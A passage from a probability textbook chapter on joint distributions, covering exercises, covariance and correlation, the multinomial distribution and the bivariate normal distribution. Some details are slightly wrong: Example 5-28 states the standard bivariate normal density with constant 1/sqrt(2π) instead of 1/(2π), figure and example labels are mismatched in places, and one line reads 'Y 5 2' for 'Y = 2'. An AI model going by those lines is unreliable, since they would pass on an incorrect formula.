(g) Marginal probability distribution of X
(h) Conditional probability distribution of Y given $X = 1$
(i) $E(Y|X = 1)$
(j) $P(Y > 2|X = 1)$
(k) Conditional probability distribution of X given Y 5 2

5-16. Determine the value of c that makes the function $f(x, y) = ce^{-2x-3y}$ a joint probability density function over the range $0 < x$ and $0 < y < x$.

Determine the following:

(a) $P(X < 1, Y < 2)$ (b) $P(1 < X < 2)$
(c) $P(Y > 3)$ (d) $P(X < 2, Y < 2)$
(e) $E(X)$ (f) $E(Y)$
(g) Marginal probability distribution of X
(h) Conditional probability distribution of Y given $X = 1$
(i) $E(Y|X = 1)$
(j) Conditional probability distribution of X given $Y = 2$

5-17. Determine the value of c that makes the function $f(x, y) = ce^{-2x-3y}$ a joint probability density function over the range $0 < x$ and $x < y$.

Determine the following:

(a) $P(X < 1, Y < 2)$ (b) $P(1 < X < 2)$
(c) $P(Y > 3)$ (d) $P(X < 2, Y < 2)$
(e) $E(X)$ (f) $E(Y)$
(g) Marginal probability distribution of X
(h) Conditional probability distribution of Y given $X = 1$
(i) $E(Y|X = 1)$
(j) $P(Y < 2|X = 1)$
(k) Conditional probability distribution of X given $Y = 2$

5-18. The conditional probability distribution of Y given $X = x$ is $f_{Y|x}(y) = xe^{-xy}$ for $y > 0$, and the marginal probability distribution of X is a continuous uniform distribution over 0 to 10.

(a) Graph $f_{Y|X}(y) = xe^{-xy}$ for $y > 0$ for several values of x. Determine:
(b) $P(Y < 2|X = 2)$ (c) $E(Y|X = 2)$
(d) $E(Y|X = x)$ (e) $f_{XY}(x, y)$
(f) $f_Y(y)$

5-19. Two methods of measuring surface smoothness are used to evaluate a paper product. The measurements are recorded as deviations from the nominal surface smoothness in coded units. The joint probability distribution of the two measurements is a uniform distribution over the region $0 < x < 4$, $0 < y$, and $x - 1 < y < x + 1$. That is, $f_{XY}(x, y) = c$ for x and y in the region. Determine the value for c such that $f_{XY}(x, y)$ is a joint probability density function.

Determine the following:

(a) $P(X < 0.5, Y < 0.5)$ (b) $P(X < 0.5)$
(c) $E(X)$ (d) $E(Y)$
(e) Marginal probability distribution of X
(f) Conditional probability distribution of Y given $X = 1$
(g) $E(Y|X = 1)$ (h) $P(Y < 0.5|X = 1)$

5-20. The time between surface finish problems in a galvanizing process is exponentially distributed with a mean of 40 hours. A single plant operates three galvanizing lines that are assumed to operate independently.

(a) What is the probability that none of the lines experiences a surface finish problem in 40 hours of operation?
(b) What is the probability that all three lines experience a surface finish problem between 20 and 40 hours of operation?
(c) Why is the joint probability density function not needed to answer the previous questions?

5-21. A popular clothing manufacturer receives Internet orders via two different routing systems. The time between orders for each routing system in a typical day is known to be exponentially distributed with a mean of 3.2 minutes. Both systems operate independently.

(a) What is the probability that no orders will be received in a 5-minute period? In a 10-minute period?
(b) What is the probability that both systems receive two orders between 10 and 15 minutes after the site is officially open for business?
(c) Why is the joint probability distribution not needed to answer the previous questions?

5-22. The blade and the bearings are important parts of a lathe. The lathe can operate only when both of them work properly. The lifetime of the blade is exponentially distributed with the mean three years; the lifetime of the bearings is also exponentially distributed with the mean four years. Assume each lifetime is independent.

(a) What is the probability that the lathe will operate at least five years?

(b) The lifetime of the lathe exceeds what time with 95% probability?

5-23. Suppose the random variables X, Y, and Z have the joint probability density function $f(x, y, z) = 8xyz$ for $0 < x < 1$, $0 < y < 1$, and $0 < z < 1$. Determine the following:

(a) $P(X < 0.5)$ (b) $P(X < 0.5, Y < 0.5)$

(c) $P(Z < 2)$ (d) $P(X < 0.5 \text{ or } Z < 2)$

(e) $E(X)$ (f) $P(X < 0.5 | Y = 0.5)$

(g) $P(X < 0.5, Y < 0.5 | Z = 0.8)$

(h) Conditional probability distribution of X given that $Y = 0.5$ and $Z = 0.8$

(i) $P(X < 0.5 | Y = 0.5, Z = 0.8)$

5-24. Suppose the random variables X, Y, and Z have the joint probability density function $f_{XYZ}(x, y, z) = c$ over the cylinder $x^2 + y^2 < 4$ and $0 < z < 4$. Determine the constant c so that $f_{XYZ}(x, y, z)$ is a probability density function.

Determine the following:

(a) $P(X^2 + Y^2 < 2)$ (b) $P(Z < 2)$

(c) $E(X)$ (d) $P(X < 1 | Y = 1)$

(e) $P(X^2 + Y^2 < 1 | Z = 1)$

(f) Conditional probability distribution of Z given that $X = 1$ and $Y = 1$.

5-25. Determine the value of c that makes $f_{XYZ}(x, y, z) = c$ a joint probability density function over the region $x > 0$, $y > 0$, $z > 0$, and $x + y + z < 1$.

Determine the following:

(a) $P(X < 0.5, Y < 0.5, Z < 0.5)$

(b) $P(X < 0.5, Y < 0.5)$

(c) $P(X < 0.5)$

(d) $E(X)$

(e) Marginal distribution of X

(f) Joint distribution of X and Y

(g) Conditional probability distribution of X given that $Y = 0.5$ and $Z = 0.5$

(h) Conditional probability distribution of X given that $Y = 0.5$

5-26. The yield in pounds from a day's production is normally distributed with a mean of 1500 pounds and standard deviation of 100 pounds. Assume that the yields on different days are independent random variables.

(a) What is the probability that the production yield exceeds 1400 pounds on each of five days next week?

(b) What is the probability that the production yield exceeds 1400 pounds on at least four of the five days next week?

5-27. The weights of adobe bricks used for construction are normally distributed with a mean of 3 pounds and a standard deviation of 0.25 pound. Assume that the weights of the bricks are independent and that a random sample of 20 bricks is selected.

(a) What is the probability that all the bricks in the sample exceed 2.75 pounds?

(b) What is the probability that the heaviest brick in the sample exceeds 3.75 pounds?

5-28. A manufacturer of electroluminescent lamps knows that the amount of luminescent ink deposited on one of its products is normally distributed with a mean of 1.2 grams and a standard deviation of 0.03 gram. Any lamp with less than 1.14 grams of luminescent ink will fail to meet customers' specifications. A random sample of 25 lamps is collected and the mass of luminescent ink on each is measured.

(a) What is the probability that at least one lamp fails to meet specifications?

(b) What is the probability that five lamps or fewer fail to meet specifications?

(c) What is the probability that all lamps conform to specifications?

(d) Why is the joint probability distribution of the 25 lamps not needed to answer the previous questions?

5-2 COVARIANCE AND CORRELATION

When two or more random variables are defined on a probability space, it is useful to describe how they vary together; that is, it is useful to measure the relationship between the variables. A common measure of the relationship between two random variables is the **covariance.** To define the covariance, we need to describe the expected value of a function of two random variables $h(X, Y)$. The definition simply extends the one for a function of a single random variable.

Expected Value of a Function of Two Random Variables

$$E[h(X, Y)] = \begin{cases} \sum\sum h(x, y) f_{XY}(x, y) & X, Y \text{ discrete} \\ \iint h(x, y) f_{XY}(x, y)\, dx\, dy & X, Y \text{ continuous} \end{cases} \tag{5-13}$$

That is, $E[h(X, Y)]$ can be thought of as the weighted average of $h(x, y)$ for each point in the range of (X, Y). The value of $E[h(X, Y)]$ represents the average value of $h(X, Y)$ that is expected in a long sequence of repeated trials of the random experiment.

EXAMPLE 5-19 **Expected Value of a Function of Two Random Variables**

For the joint probability distribution of the two random variables in Fig. 5-12, calculate $E[(X - \mu_X)(Y - \mu_Y)]$.

The result is obtained by multiplying $x - \mu_X$ times $y - \mu_Y$, times $f_{XY}(x, y)$ for each point in the range of (X, Y). First, μ_X and μ_Y are determined from the marginal distributions for X and Y:

$$\mu_X = 1 \times 0.3 + 3 \times 0.7 = 2.4 \text{ and}$$
$$\mu_Y = 1 \times 0.3 + 2 \times 0.4 + 3 \times 0.3 = 2.0$$

Therefore,

$$\begin{aligned} E[(X - \mu_X)(Y - \mu_Y)] = {} & (1 - 2.4)(1 - 2.0) \times 0.1 \\ & + (1 - 2.4)(2 - 2.0) \times 0.2 \\ & + (3 - 2.4)(1 - 2.0) \times 0.2 \\ & + (3 - 2.4)(2 - 2.0) \times 0.2 \\ & + (3 - 2.4)(3 - 2.0) \times 0.3 = 0.2 \end{aligned}$$

The covariance is defined for both continuous and discrete random variables by the same formula.

Covariance

The **covariance** between the random variables X and Y, denoted as $\text{cov}(X, Y)$ or σ_{XY}, is

$$\sigma_{XY} = E[(X - \mu_X)(Y - \mu_Y)] = E(XY) - \mu_X\mu_Y \tag{5-14}$$

If the points in the joint probability distribution of X and Y that receive positive probability tend to fall along a line of positive (or negative) slope, σ_{XY} is positive (or negative). If the points tend to fall along a line of positive slope, X tends to be greater than μ_X when Y is greater than μ_Y. Therefore, the product of the two terms $x - \mu_X$ and $y - \mu_Y$ tends to be positive. However, if the points tend to fall along a line of negative slope, $x - \mu_X$ tends to be positive when $y - \mu_Y$ is negative, and vice versa. Therefore, the product of $x - \mu_X$ and $y - \mu_Y$ tends to be negative. In this sense, the covariance between X and Y describes the variation between the two random variables. Figure 5-13 shows examples of pairs of random variables with positive, negative, and zero covariance.

Covariance is a measure of **linear relationship** between the random variables. If the relationship between the random variables is nonlinear, the covariance might not be sensitive to the relationship. This is illustrated in Fig. 5-13(d). The only points with nonzero probability are the points on the circle. There is an identifiable relationship between the variables. Still, the covariance is zero.

Figure 5-12 Joint distribution of X and Y for Example 5-19.

Figure 5-13 Joint probability distributions and the sign of covariance between X and Y.

The equality of the two expressions for covariance in Equation 5-14 is shown for continuous random variables as follows. By writing the expectations as integrals,

$$E[(Y-\mu_Y)(X-\mu_X)] = \int_{-\infty}^{\infty}\int_{-\infty}^{\infty} (x-\mu_X)(y-\mu_Y)\, f_{XY}(x,y)\, dx\, dy$$

$$= \int_{-\infty}^{\infty}\int_{-\infty}^{\infty} [xy - \mu_X y - x\mu_Y + \mu_X\mu_Y]\, f_{XY}(x,y)\, dx\, dy$$

Now

$$\int_{-\infty}^{\infty}\int_{-\infty}^{\infty} \mu_X y\, f_{XY}(x,y)\, dx\, dy = \mu_X\left[\int_{-\infty}^{\infty}\int_{-\infty}^{\infty} y f_{XY}(x,y)\, dx\, dy\right] = \mu_X\mu_Y$$

Therefore,

$$E[(X-\mu_X)(Y-\mu_Y)] = \int_{-\infty}^{\infty}\int_{-\infty}^{\infty} xy f_{XY}(x,y)\, dx\, dy - \mu_X\mu_Y - \mu_X\mu_Y + \mu_X\mu_Y$$

$$= \int_{-\infty}^{\infty}\int_{-\infty}^{\infty} xy f_{XY}(x,y)\, dx\, dy - \mu_X\mu_Y = E(XY) - \mu_X\mu_Y$$

EXAMPLE 5-20

In Example 5-1, the random variables X and Y are the number of signal bars and the number of times you need to state your departure city, respectively. Is the covariance between X and Y positive or negative?

As the signal bars increase, the number of times you need to state your name decreases. Therefore, X and Y have a negative covariance. This can be verified from the joint probability distribution in Fig. 5-1.

There is another measure of the relationship between two random variables that is often easier to interpret than the covariance.

Correlation

The **correlation** between random variables X and Y, denoted as ρ_{XY}, is

$$\rho_{XY} = \frac{\text{cov}(X, Y)}{\sqrt{V(X)V(Y)}} = \frac{\sigma_{XY}}{\sigma_X \sigma_Y} \tag{5-15}$$

Because $\sigma_X > 0$ and $\sigma_Y > 0$, if the covariance between X and Y is positive, negative, or zero, the correlation between X and Y is positive, negative, or zero, respectively. The following result can be shown.

For any two random variables X and Y,

$$-1 \le \rho_{XY} \le +1 \tag{5-16}$$

The correlation just scales the covariance by the product of the standard deviation of each variable. Consequently, the correlation is a dimensionless quantity that can be used to compare the linear relationships between pairs of variables in different units.

If the points in the joint probability distribution of X and Y that receive positive probability tend to fall along a line of positive (or negative) slope, ρ_{XY} is near $+1$ (or -1). If ρ_{XY} equals $+1$ or -1, it can be shown that the points in the joint probability distribution that receive positive probability fall exactly along a straight line. Two random variables with nonzero correlation are said to be **correlated.** Similar to covariance, the correlation is a measure of the **linear relationship** between random variables.

EXAMPLE 5-21 Covariance

For the discrete random variables X and Y with the joint distribution shown in Fig. 5-14, determine σ_{XY} and ρ_{XY}.

The calculations for $E(XY)$, $E(X)$, and $V(X)$ are as follows.

$$\begin{aligned} E(XY) &= 0 \times 0 \times 0.2 + 1 \times 1 \times 0.1 + 1 \times 2 \times 0.1 \\ &\quad + 2 \times 1 \times 0.1 + 2 \times 2 \times 0.1 + 3 \times 3 \times 0.4 = 4.5 \\ E(X) &= 0 \times 0.2 + 1 \times 0.2 + 2 \times 0.2 + 3 \times 0.4 = 1.8 \\ V(X) &= (0 - 1.8)^2 \times 0.2 + (1 - 1.8)^2 \times 0.2 \\ &\quad + (2 - 1.8)^2 \times 0.2 + (3 - 1.8)^2 \times 0.4 = 1.36 \end{aligned}$$

Because the marginal probability distribution of Y is the same as for X, $E(Y) = 1.8$ and $V(Y) = 1.36$. Consequently,

$$\sigma_{XY} = E(XY) - E(X)E(Y) = 4.5 - (1.8)(1.8) = 1.26$$

Furthermore,

$$\rho_{XY} = \frac{\sigma_{XY}}{\sigma_X \sigma_Y} = \frac{1.26}{(\sqrt{1.36})(\sqrt{1.36})} = 0.926$$

Figure 5-14 Joint distribution for Example 5-20.

Figure 5-15 Joint distribution for Example 5-21.

EXAMPLE 5-22 Correlation

Suppose that the random variable X has the following distribution: $P(X = 1) = 0.2$, $P(X = 2) = 0.6$, $P(X = 3) = 0.2$. Let $Y = 2X + 5$. That is, $P(Y = 7) = 0.2$, $P(Y = 9) = 0.6$, $P(Y = 11) = 0.2$. Determine the correlation between X and Y. Refer to Fig. 5-15.

Because X and Y are linearly related, $\rho = 1$. This can be verified by direct calculations: Try it.

For independent random variables, we do not expect any relationship in their joint probability distribution. The following result is left as an exercise.

> If X and Y are independent random variables,
>
> $$\sigma_{XY} = \rho_{XY} = 0 \tag{5-17}$$

EXAMPLE 5-23 Independence Implies Zero Covariance

For the two random variables in Fig. 5-16, show that $\sigma_{XY} = 0$.

The two random variables in this example are continuous random variables. In this case $E(XY)$ is defined as the double integral over the range of (X, Y). That is,

$$E(XY) = \int_0^4 \int_0^2 xy f_{XY}(x, y)\,dx\,dy = \frac{1}{16}\int_0^4 \left[\int_0^2 x^2y^2\,dx\right] dy$$

$$= \frac{1}{16}\int_0^4 y^2\left[x^3/3\Big|_0^2\right]$$

$$= \frac{1}{16}\int_0^4 y^2[8/3]\,dy = \frac{1}{6}\left[y^3/3\Big|_0^4\right] = \frac{1}{6}[64/3] = 32/9$$

Also,

$$E(X) = \int_0^4 \int_0^2 x f_{XY}(x, y)\,dx\,dy = \frac{1}{16}\int_0^4 y\left[\int_0^2 x^2\,dx\right] dy$$

$$= \frac{1}{16}\int_0^4 y\left[x^3/3\Big|_0^2\right] dy$$

$$= \frac{1}{16}\left[y^2/2\Big|_0^4\right][8/3] = \frac{1}{6}[16/2] = 4/3$$

$$E(Y) = \int_0^4 \int_0^2 y f_{XY}(x, y)\,dx\,dy = \frac{1}{16}\int_0^4 y^2\left[\int_0^2 x\,dx\right] dy$$

$$= \frac{1}{16}\int_0^4 y^2\left[x^2/2\Big|_0^2\right] dy$$

$$= \frac{2}{16}\left[y^3/3\Big|_0^4\right] = \frac{1}{8}[64/3] = 8/3$$

Figure 5-16 Random variables with zero covariance from Example 5-22.

Thus,

$$E(XY) - E(X)E(Y) = 32/9 - (4/3)(8/3) = 0$$

It can be shown that these two random variables are independent. You can check that $f_{XY}(x, y) = f_X(x)f_Y(y)$ for all x and y.

However, if the correlation between two random variables is zero, we *cannot* immediately conclude that the random variables are independent. Figure 5-13(d) provides an example.

EXERCISES FOR SECTION 5-2

5-29. Determine the covariance and correlation for the following joint probability distribution:

x	1	1	2	4
y	3	4	5	6
$f_{XY}(x, y)$	1/8	1/4	1/2	1/8

5-30. Determine the covariance and correlation for the following joint probability distribution:

x	−1	−0.5	0.5	1
y	−2	−1	1	2
$f_{XY}(x, y)$	1/8	1/4	1/2	1/8

5-31. Determine the value for c and the covariance and correlation for the joint probability mass function $f_{XY}(x, y) = c(x + y)$ for $x = 1, 2, 3$ and $y = 1, 2, 3$.

5-32. Determine the covariance and correlation for the joint probability distribution shown in Fig. 5-10(a) and described in Example 5-10.

5-33. Determine the covariance and correlation for X_1 and X_2 in the joint distribution of the multinomial random variables X_1, X_2, and X_3 with $p_1 = p_2 = p_3 = 1/3$ and $n = 3$. What can you conclude about the sign of the correlation between two random variables in a multinomial distribution?

5-34. For the Transaction Processing Performance Council's benchmark in Exercise 5-10, let X, Y, and Z denote the average number of *selects*, *updates*, and *inserts* operations required for each type transaction, respectively. Calculate the following:
(a) Covariance between X and Y
(b) Correlation between X and Y
(c) Covariance between X and Z
(d) Correlation between X and Z

5-35. Determine the value for c and the covariance and correlation for the joint probability density function $f_{XY}(x, y) = cxy$ over the range $0 < x < 3$ and $0 < y < x$.

5-36. Determine the value for c and the covariance and correlation for the joint probability density function $f_{XY}(x, y) = c$ over the range $0 < x < 5$, $0 < y$, and $x - 1 < y < x + 1$.

5-37. Determine the covariance and correlation for the joint probability density function $f_{XY}(x, y) = e^{-x-y}$ over the range $0 < x$ and $0 < y$.

5-38. Determine the covariance and correlation for the joint probability density function $f_{XY}(x, y) = 6 \times 10^{-6}e^{-0.001x-0.002y}$ over the range $0 < x$ and $x < y$ from Example 5-2.

5-39. The joint probability distribution is

x	−1	0	0	1
y	0	−1	1	0
$f_{XY}(x, y)$	1/4	1/4	1/4	1/4

Show that the correlation between X and Y is zero, but X and Y are not independent.

5-40. Suppose X and Y are independent continuous random variables. Show that $\sigma_{XY} = 0$.

5-41. Suppose that the correlation between X and Y is ρ. For constants a, b, c, and d, what is the correlation between the random variables $U = aX + b$ and $V = cY + d$?

5-3 COMMON JOINT DISTRIBUTIONS

5-3.1 Multinomial Probability Distribution

A joint probability distribution for multiple discrete random variables that is quite useful is an extension of the binomial. The random experiment that generates the probability distribution consists of a series of independent trials. However, the results from each trial can be categorized into one of k classes.

EXAMPLE 5-24 Digital Channel

We might be interested in a probability such as the following. Of the 20 bits received, what is the probability that 14 are excellent, 3 are good, 2 are fair, and 1 is poor? Assume that the classifications of individual bits are independent events and that the probabilities of E, G, F, and P are 0.6, 0.3, 0.08, and 0.02, respectively. One sequence of 20 bits that produces the specified numbers of bits in each class can be represented as

$$EEEEEEEEEEEEEEGGGFFP$$

Using independence, we find that the probability of this sequence is

$$P(EEEEEEEEEEEEEEGGGFFP) = 0.6^{14}0.3^{3}0.08^{2}0.02^{1} = 2.708 \times 10^{-9}$$

Clearly, all sequences that consist of the same numbers of E's, G's, F's, and P's have the same probability. Consequently, the requested probability can be found by multiplying 2.708×10^{-9} by the number of sequences with 14 E's, three G's, two F's, and one P. The number of sequences is found from Chapter 2 to be

$$\frac{20!}{14!3!2!1!} = 2325600$$

Therefore, the requested probability is

$$P(14E\text{'s, three } G\text{'s, two } F\text{'s, and one } P) = 2325600(2.708 \times 10^{-9}) = 0.0063$$

Example 5-24 leads to the following generalization of a binomial experiment and a binomial distribution.

Multinomial Distribution

Suppose a random experiment consists of a series of n trials. Assume that

(1) The result of each trial is classified into one of k classes.

(2) The probability of a trial generating a result in class 1, class 2, ..., class k is constant over the trials and equal to $p_1, p_2, \ldots, p_k$, respectively.

(3) The trials are independent.

The random variables $X_1, X_2, \ldots, X_k$ that denote the number of trials that result in class 1, class 2, ..., class k, respectively, have a **multinomial distribution** and the joint probability mass function is

$$P(X_1 = x_1, X_2 = x_2, \ldots, X_k = x_k) = \frac{n!}{x_1!x_2!\cdots x_k!} p_1^{x_1} p_2^{x_2} \ldots p_k^{x_k} \tag{5-18}$$

for $x_1 + x_2 + \cdots + x_k = n$ and $p_1 + p_2 + \cdots + p_k = 1$.

The multinomial distribution is considered a multivariable extension of the binomial distribution.

EXAMPLE 5-25 Digital Channel

In Example 5-9, let the random variables X_1, X_2, X_3, and X_4 denote the number of bits that are E, G, F, and P, respectively, in a transmission of 20 bits. The probability that 12 of the bits received are E, 6 are G, 2 are F, and 0 are P is

$$P(X_1 = 12, X_2 = 6, X_3 = 2, X_4 = 0) = \frac{20!}{12!6!2!0!} 0.6^{12}0.3^{6}0.08^{2}0.02^{0} = 0.0358$$

Each trial in a multinomial random experiment can be regarded as either generating or not generating a result in class i, for each $i = 1, 2, \ldots, k$. Because the random variable X_i is the number of trials that result in class i, X_i has a binomial distribution.

Mean and Variance

If $X_1, X_2, \ldots, X_k$ have a multinomial distribution, the marginal probability distribution of X_i is binomial with

$$E(X_i) = np_i \quad \text{and} \quad V(X_i) = np_i(1 - p_i) \tag{5-19}$$

EXAMPLE 5-26 Marginal Probability Distributions

In Example 5-25 the marginal probability distribution of X_2 is binomial with $n = 20$ and $p = 0.3$. Furthermore, the joint marginal probability distribution of X_2 and X_3 is found as follows. The $P(X_2 = x_2, X_3 = x_3)$ is the probability that exactly x_2 trials result in G and that x_3 result in F. The remaining $n - x_2 - x_3$ trials must result in either E or P. Consequently, we can consider each trial in the experiment to result in one of three classes, $\{G\}$, $\{F\}$, or $\{E, P\}$, with probabilities 0.3, 0.08, and $0.6 + 0.02 = 0.62$, respectively. With these new classes, we can consider the trials to comprise a new multinomial experiment. Therefore,

$$\begin{aligned} f_{X_2X_3}(x_2, x_3) &= P(X_2 = x_2, X_3 = x_3) \\ &= \frac{n!}{x_2!x_3!\,(n - x_2 - x_3)!}(0.3)^{x_2}(0.08)^{x_3}(0.62)^{n - x_2 - x_3} \end{aligned}$$

The joint probability distribution of other sets of variables can be found similarly.

5-3.2 Bivariate Normal Distribution

An extension of a normal distribution to two random variables is an important bivariate probability distribution.

EXAMPLE 5-27 Bivariate Normal Distribution

At the start of this chapter, the length of different dimensions of an injection-molded part was presented as an example of two random variables. Each length might be modeled by a normal distribution. However, because the measurements are from the same part, the random variables are typically not independent. A probability distribution for two normal random variables that are not independent is important in many applications. As stated at the start of the chapter, if the specifications for X and Y are 2.95 to 3.05 and 7.60 to 7.80 millimeters, respectively, we might be interested in the probability that a part satisfies both specifications; that is, $P(2.95 < X < 3.05, 7.60 < Y < 7.80)$.

Bivariate Normal Probability Density Function

The probability density function of a **bivariate normal distribution** is

$$\begin{aligned} f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho) = \frac{1}{2\pi\sigma_X\sigma_Y\sqrt{1 - \rho^2}} \exp\left\{\frac{-1}{2(1 - \rho^2)}\left[\frac{(x - \mu_X)^2}{\sigma_X^2}\right.\right. \\ \left.\left. - \frac{2\rho(x - \mu_X)(y - \mu_Y)}{\sigma_X\sigma_Y} + \frac{(y - \mu_Y)^2}{\sigma_Y^2}\right]\right\} \end{aligned} \tag{5-20}$$

for $-\infty < x < \infty$ and $-\infty < y < \infty$, with parameters $\sigma_X > 0$, $\sigma_Y > 0$, $-\infty < \mu_X < \infty$, $-\infty < \mu_Y < \infty$, and $-1 < \rho < 1$.

Figure 5-17 Examples of bivariate normal distributions.

The result that $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho)$ integrates to 1 is left as an exercise. Also, the bivariate normal probability density function is positive over the entire plane of real numbers.

Two examples of bivariate normal distributions are illustrated in Fig. 5-17 along with corresponding contour plots. Each curve on the contour plots is a set of points for which the probability density function is constant. As seen in the contour plots, the bivariate normal probability density function is constant on ellipses in the (x, y) plane. (We can consider a circle to be a special case of an ellipse.) The center of each ellipse is at the point (μ_X, μ_Y). If $\rho > 0$ ($\rho < 0$), the major axis of each ellipse has positive (negative) slope, respectively. If $\rho = 0$, the major axis of the ellipse is aligned with either the x or y coordinate axis.

EXAMPLE 5-28

The joint probability density function $f_{XY}(x, y) = \frac{1}{\sqrt{2\pi}} e^{-0.5(x^2+y^2)}$ is a special case of a bivariate normal distribution with $\sigma_X = 1$, $\sigma_Y = 1$, $\mu_X = 0$, $\mu_Y = 0$, and $\rho = 0$.

This probability density function is illustrated in Fig. 5-18. Notice that the contour plot consists of concentric circles about the origin.

The following results can be shown for a bivariate normal distribution. The details are left as an exercise.

Marginal Distributions of Bivariate Normal Random Variables

If X and Y have a bivariate normal distribution with joint probability density $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho)$, the **marginal probability distributions** of X and Y are normal with means μ_X and μ_Y and standard deviations σ_X and σ_Y, respectively. (5-21)

Figure 5-19 illustrates that the marginal probability distributions of X and Y are normal.

Figure 5-18 Bivariate normal probability density function with $\sigma_X = 1$, $\sigma_Y = 1$, $\rho = 0$, $\mu_X = 0$, and $\mu_Y = 0$.

Figure 5-19 Marginal probability density functions of a bivariate normal distribution.

Conditional Distribution of Bivariate Normal Random Variables

If X and Y have a bivariate normal distribution with joint probability density $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho)$, the conditional probability distribution of Y given $X = x$ is normal with mean

$$\mu_{Y|x} = \mu_Y - \mu_X \rho \frac{\sigma_Y}{\sigma_X} + \frac{\sigma_Y}{\sigma_X} \rho x$$

and variance

$$\sigma^2_{Y|x} = \sigma^2_Y (1 - \rho^2)$$

Furthermore, as the notation suggests, ρ represents the correlation between X and Y. The following result is left as an exercise.

Correlation of Bivariate Normal Random Variables

If X and Y have a bivariate normal distribution with joint probability density function $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X, \mu_Y, \rho)$, the correlation between X and Y is ρ. (5-22)

The contour plots in Fig. 5-17 illustrate that as ρ moves from zero (left graph) to 0.9 (right graph), the ellipses narrow around the major axis. The probability is more concentrated about a line in the (x, y) plane and graphically displays greater correlation between the variables. If $\rho = -1$ or $+1$, all the probability is concentrated on a line in the (x, y) plane. That is, the probability that X and Y assume a value that is not on the line is zero. In this case, the bivariate normal probability density is not defined.

In general, zero correlation does not imply independence. But in the special case that X and Y have a bivariate normal distribution, if $\rho = 0$, X and Y are independent. The details are left as an exercise.

For Bivariate Normal Random Variables Zero Correlation Implies Independence

If X and Y have a bivariate normal distribution with $\rho = 0$, X and Y are independent. (5-23)

An important use of the bivariate normal distribution is to calculate probabilities involving two correlated normal random variables.

EXAMPLE 5-29 Injection-Molded Part

Suppose that the X and Y dimensions of an injection-molded part have a bivariate normal distribution with $\sigma_X = 0.04$, $\sigma_Y = 0.08$, $\mu_X = 3.00$, $\mu_Y = 7.70$, and $\rho = 0.8$. Then, the probability that a part satisfies both specifications is

$$P(2.95 < X < 3.05, 7.60 < Y < 7.80)$$

This probability can be obtained by integrating $f_{XY}(x, y; \sigma_X, \sigma_Y, \mu_X\ \mu_Y, \rho)$ over the region $2.95 < x < 3.05$ and $7.60 < y < 7.80$, as shown in Fig. 5-3. Unfortunately, there is often no closed-form solution to probabilities involving bivariate normal distributions. In this case, the integration must be done numerically.

EXERCISES FOR SECTION 5-3

5-42. Test results from an electronic circuit board indicate that 50% of board failures are caused by assembly defects, 30% are due to electrical components, and 20% are due to mechanical defects. Suppose that 10 boards fail independently. Let the random variables X, Y, and Z denote the number of assembly, electrical, and mechanical defects among the 10 boards.

Calculate the following:
(a) $P(X = 5, Y = 3, Z = 2)$
(b) $P(X = 8)$
(c) $P(X = 8 \mid Y = 1)$
(d) $P(X \geq 8 \mid Y = 1)$
(e) $P(X = 7, Y = 1 \mid Z = 2)$

5-43. Based on the number of voids, a ferrite slab is classified as either high, medium, or low. Historically, 5% of the slabs are classified as high, 85% as medium, and 10% as low. A sample of 20 slabs is selected for testing. Let X, Y, and Z denote the number of slabs that are independently classified as high, medium, and low, respectively.
(a) What are the name and the values of the parameters of the joint probability distribution of X, Y, and Z?
(b) What is the range of the joint probability distribution of X, Y, Z?
(c) What are the name and the values of the parameters of the marginal probability distribution of X?
(d) Determine $E(X)$ and $V(X)$.

Determine the following:
(e) $P(X = 1, Y = 17, Z = 3)$
(f) $P(X \leq 1, Y = 17, Z = 3)$
(g) $P(X \leq 1)$ (h) $E(Y)$
(i) $P(X = 2, Z = 3 \mid Y = 17)$ (j) $P(X = 2 \mid Y = 17)$
(k) $E(X \mid Y = 17)$

5-44. A Web site uses ads to route visitors to one of four landing pages. The probabilities for each landing page are equal. Consider 20 independent visitors and let the random variables W, X, Y, and Z denote the number of visitors routed to each page.

Calculate the following:
(a) $P(W = 5, X = 5, Y = 5, Z = 5)$
(b) $P(W = 5, X = 5, Y = 5)$
(c) $P(W = 7, X = 7, Y = 6 \mid Z = 3)$
(d) $P(W = 7, X = 7, Y = 3 \mid Z = 3)$
(e) $P(W \leq 2)$
(f) $E(W)$
(g) $P(W = 5, X = 5)$
(h) $P(W = 5 \mid X = 5)$

5-45. Four electronic ovens that were dropped during shipment are inspected and classified as containing either a major, a minor, or no defect. In the past, 60% of dropped ovens had a major defect, 30% had a minor defect, and 10% had no defect. Assume that the defects on the four ovens occur independently.
(a) Is the probability distribution of the count of ovens in each category multinomial? Why or why not?
(b) What is the probability that, of the four dropped ovens, two have a major defect and two have a minor defect?
(c) What is the probability that no oven has a defect?

Determine the following:
(d) The joint probability mass function of the number of ovens with a major defect and the number with a minor defect
(e) The expected number of ovens with a major defect
(f) The expected number of ovens with a minor defect
(g) The conditional probability that two ovens have major defects given that two ovens have minor defects
(h) The conditional probability that three ovens have major defects given that two ovens have minor defects
(i) The conditional probability distribution of the number of ovens with major defects given that two ovens have minor defects
(j) The conditional mean of the number of ovens with major defects given that two ovens have minor defects.

5-46. Let X and Y represent concentration and viscosity of a chemical product. Suppose X and Y have a bivariate normal distribution with $\sigma_X = 4$, $\sigma_Y = 1$, $\mu_X = 2$, and $\mu_Y = 1$. Draw a rough contour plot of the joint probability density function for each of the following values of ρ:
(a) $\rho = 0$ (b) $\rho = 0.8$
(c) $\rho = -0.8$

5-47. Suppose X and Y have a bivariate normal distribution with $\sigma_X = 0.04$, $\sigma_Y = 0.08$, $\mu_X = 3.00$, $\mu_Y = 7.70$, and $\rho = 0$.

Determine the following:
(a) $P(2.95 < X < 3.05)$
(b) $P(7.60 < Y < 7.80)$
(c) $P(2.95 < X < 3.05, 7.60 < Y < 7.80)$

5-48. In an acid-base titration, a base or acid is gradually added to the other until they have completely neutralized each other. Let X and Y denote the milliliters of acid and base needed for equivalence, respectively. Assume X and Y have a bivariate normal distribution with $\sigma_X = 5$ mL, $\sigma_Y = 2$ mL, $\mu_X = 120$ mL, $\mu_Y = 100$ mL, and $\rho = 0.6$.

Determine the following:
(a) Covariance between X and Y
(b) Marginal probability distribution of X
(c) $P(X < 116)$
(d) Conditional probability distribution of X given that $Y = 102$
(e) $P(X < 116 \mid Y = 102)$

